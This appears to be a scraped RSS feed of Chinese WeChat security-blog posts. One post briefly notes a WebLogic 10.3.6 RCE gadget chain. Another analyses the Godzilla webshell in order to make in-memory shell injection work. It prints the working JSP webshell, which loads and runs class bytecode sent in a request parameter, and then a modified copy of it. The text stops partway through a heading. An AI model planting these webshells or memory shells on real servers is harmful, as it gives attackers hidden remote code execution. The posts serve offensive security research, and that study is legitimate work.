8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">10.3.6</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">peterjson和jang在10.3.6上用的是ReflectionExtractor包RemoteInvocation的套娃然后调用ShellSession.eval来rce，记录一下，不做深入了，就是几个cve的综合使用。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">坑</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">打poc时需要注意回显类的类名需要和目标版本对的上才行，具体看kingkk师傅的<span style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(0, 153, 38);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">《CVE-2020-14644分析与gadget的一些思考》<sup style="box-sizing: border-box;margin: 0px;padding: 0px;">[1]</sup></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.1em;">也就是在这个地方<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class&lt;?&gt;)</code></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="54" data-backw="562" data-galleryid="" data-ratio="0.09537037037037037" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bbac9e04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboQ1IWgFMcdKTzoJjIoRUpEh4VJWxlHIibAAbBP4XDnRjWCCtaFdYCuZHnUK4BfevhiaVlHlHB2Z4ww%2F640%3Fwx_fmt%3Dpng"/></p><br/></figcaption><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h3 style="box-sizing: border-box;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0.1em 8px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;border-left: 4px solid rgb(248, 57, 41);">References</h3><p style="box-sizing: border-box;margin: 0.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12px;opacity: 0.6;">[1]</code> 《CVE-2020-14644分析与gadget的一些思考》: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://www.kingkk.com/2020/08/CVE-2020-14644%E5%88%86%E6%9E%90%E4%B8%8Egadget%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83/" target="_blank">https://www.kingkk.com/2020/08/CVE-2020-14644%E5%88%86%E6%9E%90%E4%B8%8Egadget%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83/</a></em></p><section style="margin-bottom: 0px;"><br/></section><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages js_insertlocalimg wxw-img" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 0.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><em style="box-sizing: border-box;margin: 0px;padding: 0px;"><br/></em></p>



<p><a href="2247486304">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=845a5144&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486304%26idx%3D1%26sn%3D2c3d18d2fe64fa604811291c9e19d748%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Jun 2022 15:24:00 +0800</pubDate>
    </item>
    <item>
      <title>解决哥斯拉内存马pagecontext的问题</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486258&amp;idx=1&amp;sn=b874417f6b5f543b9cd4b828eae7a77c</link>
      <description>前言注入内存马借助当前的webshell工具而言，冰蝎可以通过创建hashmap放入request、resp</description>
      <content:encoded><![CDATA[<p>
原创 <span>ChaBug</span> <span>2022-04-16 11:39</span> <span style="display: inline-block;"></span>
</p>

<p>前言注入内存马借助当前的webshell工具而言，冰蝎可以通过创建hashmap放入request、resp</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=686f9b58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSRMj8KtFIj8oDpckEToRUkj8r3XLV1RuTVYAJXz4PZPvVGv9QSiafdtg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">前言</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">注入内存马借助当前的webshell工具而言，冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">HttpSession session = lastRequest.getSession();</span></code><code><span class="code-snippet_outer">pageContext.put(<span class="code-snippet__string">&#34;request&#34;</span>, lastRequest);</span></code><code><span class="code-snippet_outer">pageContext.put(<span class="code-snippet__string">&#34;response&#34;</span>, lastResponse);</span></code><code><span class="code-snippet_outer">pageContext.put(<span class="code-snippet__string">&#34;session&#34;</span>, session);</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">能这么写的原因是因为冰蝎做了处理</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="159" data-backw="578" data-ratio="0.27434679334916867" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="842" src="https://wechat2rss.xlab.app/img-proxy/?k=ee611edd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSvEArMnqhB1iaFMyINktyZTPhDXlEGlwiaSY4excTtYaqhHprRheUrtdg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">会从传入的obj中分别取到request、response、session。<br/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">而哥斯拉没有这么做，如何破局？</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">哥斯拉连接分析</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">哥斯拉是基于动态加载class字节码实现的webshell工具。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">先看一下jsp的shell</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">&lt;%! String xc = <span class="code-snippet__string">&#34;3c6e0b8a9c15224a&#34;</span>;</span></code><code><span class="code-snippet_outer">    String pass = <span class="code-snippet__string">&#34;pass&#34;</span>;</span></code><code><span class="code-snippet_outer">    String md5 = md5(pass + xc);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">X</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">ClassLoader</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">X</span><span class="code-snippet__params">(ClassLoader z)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">super</span>(z);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Class <span class="code-snippet__title">Q</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] cb)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">super</span>.defineClass(cb, <span class="code-snippet__number">0</span>, cb.length);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">....省略加密解密的函数....</span></code><code><span class="code-snippet_outer">%&gt;</span></code><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] data = base64Decode(request.getParameter(pass));</span></code><code><span class="code-snippet_outer">        data = x(data, <span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (session.getAttribute(<span class="code-snippet__string">&#34;payload&#34;</span>) == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            session.setAttribute(<span class="code-snippet__string">&#34;payload&#34;</span>, <span class="code-snippet__keyword">new</span> X(<span class="code-snippet__keyword">this</span>.getClass().getClassLoader()).Q(data));</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            request.setAttribute(<span class="code-snippet__string">&#34;parameters&#34;</span>, data);</span></code><code><span class="code-snippet_outer">            java.io.ByteArrayOutputStream arrOut = <span class="code-snippet__keyword">new</span> java.io.ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">            Object f=((Class)session.getAttribute(<span class="code-snippet__string">&#34;payload&#34;</span>)).newInstance();</span></code><code><span class="code-snippet_outer">            f.equals(arrOut);</span></code><code><span class="code-snippet_outer">            f.equals(pageContext);</span></code><code><span class="code-snippet_outer">            response.getWriter().write(md5.substring(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">16</span>));</span></code><code><span class="code-snippet_outer">            f.toString();</span></code><code><span class="code-snippet_outer">            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), <span class="code-snippet__keyword">true</span>)));</span></code><code><span class="code-snippet_outer">            response.getWriter().write(md5.substring(<span class="code-snippet__number">16</span>));</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">先判断session中payload是否为空，如果为空就用classloader加载解密之后的字节码data。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">如果不为空将data赋值到session的parameters参数，然后从session中拿到定义的payload类，创建实例再进行了两次equals和一次tostring，两次equals分别传入ByteArrayOutputStream和pageContext。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">通过bp代理看一下“测试连接”的过程</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="520" data-backw="489" data-ratio="1.0633946830265848" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="489" src="https://wechat2rss.xlab.app/img-proxy/?k=ce98d5db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSdcHeqSdEVHCmUrf8f7evL0Ay7fVibL88VJWPlVYKltAWWic6rsicQuibhg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">点完测试连接后bp多了两个请求</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="313" data-backw="578" data-ratio="0.54140625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8c5add78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSZj4BNXDWpGyDXQbNGncIQ13CoOTI2uSnLJLjIE9pbibia4r8hqDseBdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">再点success的确定按钮后又多了一个请求。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">一共三个请求，这三个请求分别干了什么？</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">为了调试，我们需要反编译哥斯拉源码找到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">godzilla\shells\payloads\java\assets\payload.classs</code>文件，反编译回来后在idea项目中创建一个payload类，将源码粘贴进去。另外还需要关闭idea的自动tostring。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="420" data-backw="578" data-ratio="0.7260692464358453" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="982" src="https://wechat2rss.xlab.app/img-proxy/?k=78ec1aff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSfk8g9kEQDiag9hic71dM9Q7Gjk2YEpvw3qtU2bhZZtHTiagJ2uiaYUkfvA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">然后修改jsp让其加载我们自己的payload.class而非从session中加载</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        byte[] <span class="code-snippet__keyword">data</span> = base64Decode(request.getParameter(pass));</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">data</span> = x(<span class="code-snippet__keyword">data</span>, <span class="code-snippet__literal">false</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (session.getAttribute(<span class="code-snippet__string">&#34;payload&#34;</span>) == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">            session.setAttribute(<span class="code-snippet__string">&#34;payload&#34;</span>, new X(<span class="code-snippet__keyword">this</span>.getClass().getClassLoader()).Q(<span class="code-snippet__keyword">data</span>));</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            request.setAttribute(<span class="code-snippet__string">&#34;parameters&#34;</span>, <span class="code-snippet__keyword">data</span>);</span></code><code><span class="code-snippet_outer">            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">            Object f = ((Class) Class.forName(<span class="code-snippet__string">&#34;payload&#34;</span>)).newInstance();</span></code><code><span class="code-snippet_outer">            f.equals(arrOut);</span></code><code><span class="code-snippet_outer">            f.equals(pageContext);</span></code><code><span class="code-snippet_outer">            response.getWriter().write(md5.substring(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">16</span>));</span></code><code><span class="code-snippet_outer">            f.toString();</span></code><code><span class="code-snippet_outer">            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), <span class="code-snippet__literal">true</span>)));</span></code><code><span class="code-snippet_outer">            response.getWriter().write(md5.substring(<span class="code-snippet__number">16</span>));</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: 